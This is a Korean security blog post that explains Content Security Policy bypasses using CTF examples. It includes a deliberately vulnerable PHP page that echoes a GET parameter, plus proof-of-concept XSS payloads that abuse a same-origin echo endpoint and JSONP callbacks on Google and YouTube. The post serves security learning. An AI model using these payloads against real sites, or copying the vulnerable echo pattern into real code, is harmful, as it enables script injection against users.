ctf 문제를 통해 CSP bypass 정리하기
글 작성자: Universe7202
1. 업로드 기능을 활용한 bypass
서버에 다음과 같이 CSP가 적용되어 있다고 가정해 봅시다.
`script-src` 지시자에는 `self` 와 랜덤한 `nonce` 값이 설정되어 있습니다.
즉, `<script>alert(1)</script>` 와 같은 payload는 `nonce` 값이 없기 때문에 실행이 되지 않습니다.
<?php
$nonce = base64_encode(sha1(RandomString()));
$CSP = array(
"default-src 'self'",
"script-src 'self' 'nonce-$nonce'"
);
header("Content-Security-Policy: " . join("; ", $CSP));
echo $_GET["data"];
?>
이를 우회하기 위해서는 `self`를 이용하면 됩니다. 만약 서버에 js 파일을 업로드 할 수 있거나, 사용자가 입력한 값만 그대로 출력하는 페이지가 있다면, 이를 이용하여 bypass 할 수 있습니다.
따라서 bypass payload는 다음과 같습니다.
http://localhost:8080/test.php?data=<script src="/ping?pong=alert(document.domain)"></script>
2. JSONP API를 활용한 bypass
JSONP를 지원하는 origin이 CSP에 지정되어 있다면, 다음과 같은 Origin으로부터 악용이 가능합니다.
2-1. accounts.google.com
다음과 같이 CSP가 설정되어 있다고 가정합시다.
script-src self accounts.google.com
`accounts.google.com` origin에는 다음과 같은 JSONP를 지원합니다.
`callback` 파라미터에 `alert(1);` 를 넣게 되면, 아래 사진처럼 응답을 받을 수 있습니다.
따라서, 이를 이용하여 다음과 같은 payload로 xss를 트리거 할 수 있습니다.
/test.php?data=<script src='https://accounts.google.com/o/oauth2/revoke?callback=alert(1);'></script>
2.2 youtube.com
다음과 같이 CSP가 설정되어 있다고 가정합시다.
script-src self youtube.com
youtube.com 호스트만 허용된 상태입니다. 이것도 마찬가지로 JSONP 를 이용한 XSS가 가능합니다.
이와 관련된 문제는 다음 링크에 있습니다.
<script src="https://www.youtube.com/oembed?url=http://www.youtube.com/watch?v=bDOYN-6gdRE&format=json&callback=alert(1)></script>
추가 예정
'🔒Security' 카테고리의 다른 글
[분석 일기] docs 정독으로 Grav CMS에서 RCE 취약점 찾은 썰 (2) | 2024.01.12 |
---|---|
SSRF bypass using DNS Rebinding (0) | 2023.01.04 |
nodejs unicode (0) | 2022.10.06 |
[분석일기] - php switch case (0) | 2022.09.06 |
[분석 일기] - EJS, Server Side Template Injection to RCE (CVE-2022-29078) (6) | 2022.07.21 |
댓글
이 글 공유하기
다른 글
-
[분석 일기] docs 정독으로 Grav CMS에서 RCE 취약점 찾은 썰
[분석 일기] docs 정독으로 Grav CMS에서 RCE 취약점 찾은 썰
2024.01.12 -
SSRF bypass using DNS Rebinding
SSRF bypass using DNS Rebinding
2023.01.04 -
nodejs unicode
nodejs unicode
2022.10.06 -
[분석일기] - php switch case
[분석일기] - php switch case
2022.09.06